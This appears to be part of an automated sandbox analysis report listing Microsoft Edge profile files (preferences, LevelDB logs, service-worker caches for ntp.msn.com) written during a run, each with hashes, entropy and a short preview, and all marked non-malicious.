Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377085758117138","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3bd94.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.11978190908618
Encrypted:	false
SSDEEP:	192:st8kdpNsMwsZihUkPnbN8TbV+FeFQA66W/aFIMYPPyYJ:st8QNsMwfhMbG4Qx6W/aTYz
MD5:	0123B05982BFC02DADBA6B4A8AE8F064
SHA1:	C358CFB082F8353455C0887DAD009AE825E7CB5C
SHA-256:	1D36184F82F1D990D509BC4AA1128D010A9443E90187561A20BA73636BE40CCF
SHA-512:	7D20576FF14B6CE4D0F6F9117EBA76D29C85E2EEF5D222D0704F0E9F2A402AF5D4A2B5515CB1A08CF21860163F246C54CDA5B1AD8B10E64677F2DB2FFE3A594A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377085758117138","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF3e986.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.11978190908618
Encrypted:	false
SSDEEP:	192:st8kdpNsMwsZihUkPnbN8TbV+FeFQA66W/aFIMYPPyYJ:st8QNsMwfhMbG4Qx6W/aTYz
MD5:	0123B05982BFC02DADBA6B4A8AE8F064
SHA1:	C358CFB082F8353455C0887DAD009AE825E7CB5C
SHA-256:	1D36184F82F1D990D509BC4AA1128D010A9443E90187561A20BA73636BE40CCF
SHA-512:	7D20576FF14B6CE4D0F6F9117EBA76D29C85E2EEF5D222D0704F0E9F2A402AF5D4A2B5515CB1A08CF21860163F246C54CDA5B1AD8B10E64677F2DB2FFE3A594A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377085758117138","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF423e0.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.11978190908618
Encrypted:	false
SSDEEP:	192:st8kdpNsMwsZihUkPnbN8TbV+FeFQA66W/aFIMYPPyYJ:st8QNsMwfhMbG4Qx6W/aTYz
MD5:	0123B05982BFC02DADBA6B4A8AE8F064
SHA1:	C358CFB082F8353455C0887DAD009AE825E7CB5C
SHA-256:	1D36184F82F1D990D509BC4AA1128D010A9443E90187561A20BA73636BE40CCF
SHA-512:	7D20576FF14B6CE4D0F6F9117EBA76D29C85E2EEF5D222D0704F0E9F2A402AF5D4A2B5515CB1A08CF21860163F246C54CDA5B1AD8B10E64677F2DB2FFE3A594A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377085758117138","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF47e35.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9819
Entropy (8bit):	5.11978190908618
Encrypted:	false
SSDEEP:	192:st8kdpNsMwsZihUkPnbN8TbV+FeFQA66W/aFIMYPPyYJ:st8QNsMwfhMbG4Qx6W/aTYz
MD5:	0123B05982BFC02DADBA6B4A8AE8F064
SHA1:	C358CFB082F8353455C0887DAD009AE825E7CB5C
SHA-256:	1D36184F82F1D990D509BC4AA1128D010A9443E90187561A20BA73636BE40CCF
SHA-512:	7D20576FF14B6CE4D0F6F9117EBA76D29C85E2EEF5D222D0704F0E9F2A402AF5D4A2B5515CB1A08CF21860163F246C54CDA5B1AD8B10E64677F2DB2FFE3A594A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377085758117138","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558053668035287
Encrypted:	false
SSDEEP:	768:dHRcGlv7pLGLPuHWPHbfaB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYlm0Drwip7tuf:dHRcGlpcPuHWPHbfaBu1jatY04GtY
MD5:	BE4B2755510214B88DF1539AAFEA6DEC
SHA1:	82EB8F06348F23EED3808F7EAABFFA3A77FF3494
SHA-256:	EEA9E5DDCE60E6609B561F42E6296C0172ABA11EDD688FF99FCD4C7B336C38D2
SHA-512:	D2360ABAADEB5B4D911BE85311053C5F784F386CF5B031E3DEEF15DAE675ACD8A1CE63DBBA4A6918DC446CBC4A4380A095331B3EE386BE6B412C3AAEDFF9B2D7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377085757367483","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377085757367483","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3bda4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558053668035287
Encrypted:	false
SSDEEP:	768:dHRcGlv7pLGLPuHWPHbfaB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYlm0Drwip7tuf:dHRcGlpcPuHWPHbfaBu1jatY04GtY
MD5:	BE4B2755510214B88DF1539AAFEA6DEC
SHA1:	82EB8F06348F23EED3808F7EAABFFA3A77FF3494
SHA-256:	EEA9E5DDCE60E6609B561F42E6296C0172ABA11EDD688FF99FCD4C7B336C38D2
SHA-512:	D2360ABAADEB5B4D911BE85311053C5F784F386CF5B031E3DEEF15DAE675ACD8A1CE63DBBA4A6918DC446CBC4A4380A095331B3EE386BE6B412C3AAEDFF9B2D7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377085757367483","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377085757367483","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF3fdaa.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558053668035287
Encrypted:	false
SSDEEP:	768:dHRcGlv7pLGLPuHWPHbfaB8F1+UoAYDCx9Tuqh0VfUC9xbog/OVYlm0Drwip7tuf:dHRcGlpcPuHWPHbfaBu1jatY04GtY
MD5:	BE4B2755510214B88DF1539AAFEA6DEC
SHA1:	82EB8F06348F23EED3808F7EAABFFA3A77FF3494
SHA-256:	EEA9E5DDCE60E6609B561F42E6296C0172ABA11EDD688FF99FCD4C7B336C38D2
SHA-512:	D2360ABAADEB5B4D911BE85311053C5F784F386CF5B031E3DEEF15DAE675ACD8A1CE63DBBA4A6918DC446CBC4A4380A095331B3EE386BE6B412C3AAEDFF9B2D7
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377085757367483","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377085757367483","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2294
Entropy (8bit):	5.838508742994029
Encrypted:	false
SSDEEP:	48:F2emXDtrdDbMfB3FXrdYxfrdDbPB3MErdSPB3M:F1mXDtxDbM9ZxYxfxDbtMExStM
MD5:	50A34DC7B4311FC73A7E060F91A35D7E
SHA1:	DFE198DE6A1A54326F0FC26EF4B06E501F44E323
SHA-256:	FAA1C2D0FB4452F23908B2C153FA4F8E55BA3C19E902ED9BCB10CBD20F662375
SHA-512:	5BE087E948AADFC38C8A58B69682805E4F1544DCCA4C3F0F0D61A4E24BC86107D88479DCEF9B06474F0AA1682647486431F3090D37670D5A33BEA17171874013
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2.E9m................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8.....@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x.................................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enable

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	299
Entropy (8bit):	5.114796300257894
Encrypted:	false
SSDEEP:	6:HKbTFEq1923oH+TcwtE/a252KLlVKbBOq2P923oH+TcwtE/a2ZIFUv:qbJEfYeb8xLybcv4Yeb8J2FUv
MD5:	5BF6A59769E0397298ABA913C1A3C1AA
SHA1:	193CE38313071C8F24E4E8C90C9AE8382383F53C
SHA-256:	696B61B49EE1EF6985F99936BA8F458796BA720E6862DD117AFE52DDD85DC4EB
SHA-512:	9F2A8C7EE4663899D757407F932855691815953FB32287F27D1E6C2AA4DC23DFC95A73C04F3DFAE271BD37B147722B5A18375AA1C675C1CDB0EEF7EF7B356B0F
Malicious:	false
Preview:	2024/11/26-04:09:34.031 1ef0 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/11/26-04:09:34.044 1ef0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	114376
Entropy (8bit):	5.579373382909266
Encrypted:	false
SSDEEP:	1536:AU906yxPXfOxr1lhCe1nL/rmL/rBZXECjAWNKPt3dfvYgOts:d9LyxPXfOxr1lMe1nL/CL/TXEmsvFB
MD5:	783FDB3ACA0D4E6FBA8CA3A749AC19E4
SHA1:	9FD88C1B87742CA397D1E9CCF9F81735008DC8B4
SHA-256:	78913EF03ADBC64FC44B6AE237FCBE0A8EF0E1C9477DAF13C6139AA4588C3A20
SHA-512:	8BFBF50C462A3166F0448DEA2A3A5408CFE5890FE964C4E22E5D31C4E8B2AB7FD321772BB61F5162F42AF9E81C8FE637DF0D1567B4A14EE8D73DD1755ACCF59A
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	188881
Entropy (8bit):	6.38686019775925
Encrypted:	false
SSDEEP:	3072:3VoalmY1VflmyQw6DbiRYL/llMLu6u91VupRpTwka:FoCBJQwYiyL/7UuP18vs3
MD5:	8DAAD50F8C91725366AA451C75FD477D
SHA1:	2C2B9CC6D8EC325B976FDEFAE9DAB4326EB35478
SHA-256:	BA02025A100552F2B5D7AAB386B6CB4A6A08C404171073759724A2D884D02B56
SHA-512:	AB76B43A349D00B79FD642FA7760788C496F3327C99BD650EE1BF28CDF306D90DF0D46AB14586DFAB96B5D6CE94B12AD5D2F663A125EC6EF769376E517CBB196
Malicious:	false
Preview:	0\r..m..........rSG.....0....z3.................;....x.x........,T.8..`,.....L`.....,T...`......L`......Rc..(....exports...Rc^.k.....module....Rc2m......define....Rb........amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......q.Q.m..n..b...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true..a........Db............D`.....E..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da....zY...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:pTK0jXl/ly/l9/lxE0tlla/ly/lYGj+:TmO0gy/c
MD5:	D2109A91E41A84C1C0001BEBD0AD3E0B
SHA1:	F5FB9031BAF056EA7730CCB0F42A38E41025EB57
SHA-256:	CD1CDF33C3260C3F3499A6EFC15A0ED3EA16AD304F7831AC1342A197FC709DE2
SHA-512:	883FA462D76055A489A27AC68C14E6C73E4C7682B373B7BBA6398C63F52018753C8512F7CA2ACD54FBDF5018C37D21B254D90F021CA375752E10E5C7DDF24A33
Malicious:	false
Preview:	@.......oy retne.........................X....,...................}c./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:pTK0jXl/ly/l9/lxE0tlla/ly/lYGj+:TmO0gy/c
MD5:	D2109A91E41A84C1C0001BEBD0AD3E0B
SHA1:	F5FB9031BAF056EA7730CCB0F42A38E41025EB57
SHA-256:	CD1CDF33C3260C3F3499A6EFC15A0ED3EA16AD304F7831AC1342A197FC709DE2
SHA-512:	883FA462D76055A489A27AC68C14E6C73E4C7682B373B7BBA6398C63F52018753C8512F7CA2ACD54FBDF5018C37D21B254D90F021CA375752E10E5C7DDF24A33
Malicious:	false
Preview:	@.......oy retne.........................X....,...................}c./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF4000c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.5931902015385067
Encrypted:	false
SSDEEP:	3:pTK0jXl/ly/l9/lxE0tlla/ly/lYGj+:TmO0gy/c
MD5:	D2109A91E41A84C1C0001BEBD0AD3E0B
SHA1:	F5FB9031BAF056EA7730CCB0F42A38E41025EB57
SHA-256:	CD1CDF33C3260C3F3499A6EFC15A0ED3EA16AD304F7831AC1342A197FC709DE2
SHA-512:	883FA462D76055A489A27AC68C14E6C73E4C7682B373B7BBA6398C63F52018753C8512F7CA2ACD54FBDF5018C37D21B254D90F021CA375752E10E5C7DDF24A33
Malicious:	false
Preview:	@.......oy retne.........................X....,...................}c./.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6731
Entropy (8bit):	3.3890769429031247
Encrypted:	false
SSDEEP:	192:EXF5sMEtFt6n7nsSf9Xp+gKU6e5SLl9iSrYeZh3l:E15aip9Xp+3Ur5SLl9iSrbZ
MD5:	24727A60B13950228209415D2AA9856F
SHA1:	5CA6C91C48EF83A3C7730BE34A0365D75C1E9511
SHA-256:	586FEAD426966AE5792983A9486D8F6B38F8386FDBB3D5953AF60F369007D015
SHA-512:	E897602E75AD35EB1B6D73EAEB759F486C34A4B5A909835706806B71829DB97B0442158A0682E7CEEA1C9EC3718C726F618E9AE4CF5DEBF8F7EA2C21C56CFA9D
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f...............4..&b................next-map-id.1.Cnamespace-39b714a7_e5f4_4528_b377_fea2c124b264-https://ntp.msn.com/.0..x..................map-0-shd_sweeper.1{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.a.d.-.s.t.a.b.-.b.n.,.p.r.g.-.s.t.a.b.-.b.n.,.p.r.g.-.1.s.w.-.m.i.t.o.t.d.u.s.-.c.,.p.r.g.-.1.s.w.-.s.a.q.c.i.p.t.t.c.i.e.n.t.3.,.p.r.g.-.1.s.w.-.s.a.-.s.p.5.-.t.6.,.p.r.g.-.1.s.w.-.s.a.l.3.u.i.c.d.b.f.2.,.p.r.g.-.1.s.w.-.m.s.n.b.l.u.e.,.p.r.g.-.1.s.w.-.t.m.u.i.d.s.y.n.c.r.f.w.o.e.r.r.,.p.r.g.-.1.s.w.-.r.e.f.r.e.s.h.p.,.p.r.g.-.1.s.w.-.t.m.u.i.d.1.s.s.y.n.c.,.1.s.-.n.t.f.1.-.f.g.d.i.p.6.,.1.s.-.w.x.p.r.e.v.-.s.w.,.p.r.g.-.f.i.n.-.l.2.d.u.e.a.-.c.,.2.4.0.9.-.n.e.w.-.b.i.n.g.-.d.e.s.i.g.n.-.t.,.p.r.g.-.a.d.s.p.e.e.k.,.1.s.-.n.t.f.1.-.r.d.i.d.2.a.,.1.s.-.n.t.f.1.-.f.s.p.t.b.r.c.,.1.s.-.n.t.f.1.-.p.n.o.t.s.,.1.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.147093096421119
Encrypted:	false
SSDEEP:	6:HKZFQL+q2P923oH+TcwtrQMxIFUt8YKZLsG1Zmw+YKZTFOQLVkwO923oH+Tcwtrb:qAyv4YebCFUt8R3/+RbR5LYebtJ
MD5:	C7F395F4E4E68A5485003868D6D68166
SHA1:	91087EA1264CF27A3E02AE17406494ACB83B10F4
SHA-256:	5535CB7BDE1772C22E85488081D3DAC7B2124280BE7CA0B2368CFBDF8491BF4B
SHA-512:	EACAAE6E92812A5FBECED99E07094C72C068DBEF7CDC4C66F46AE107E4C90BA9B05A75D9E68AA4BD95B1157AA27947688E87F262972486B04E3A855D0ABB5D27
Malicious:	false
Preview:	2024/11/26-04:09:18.232 1d18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/11/26-04:09:18.233 1d18 Recovering log #3.2024/11/26-04:09:18.259 1d18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

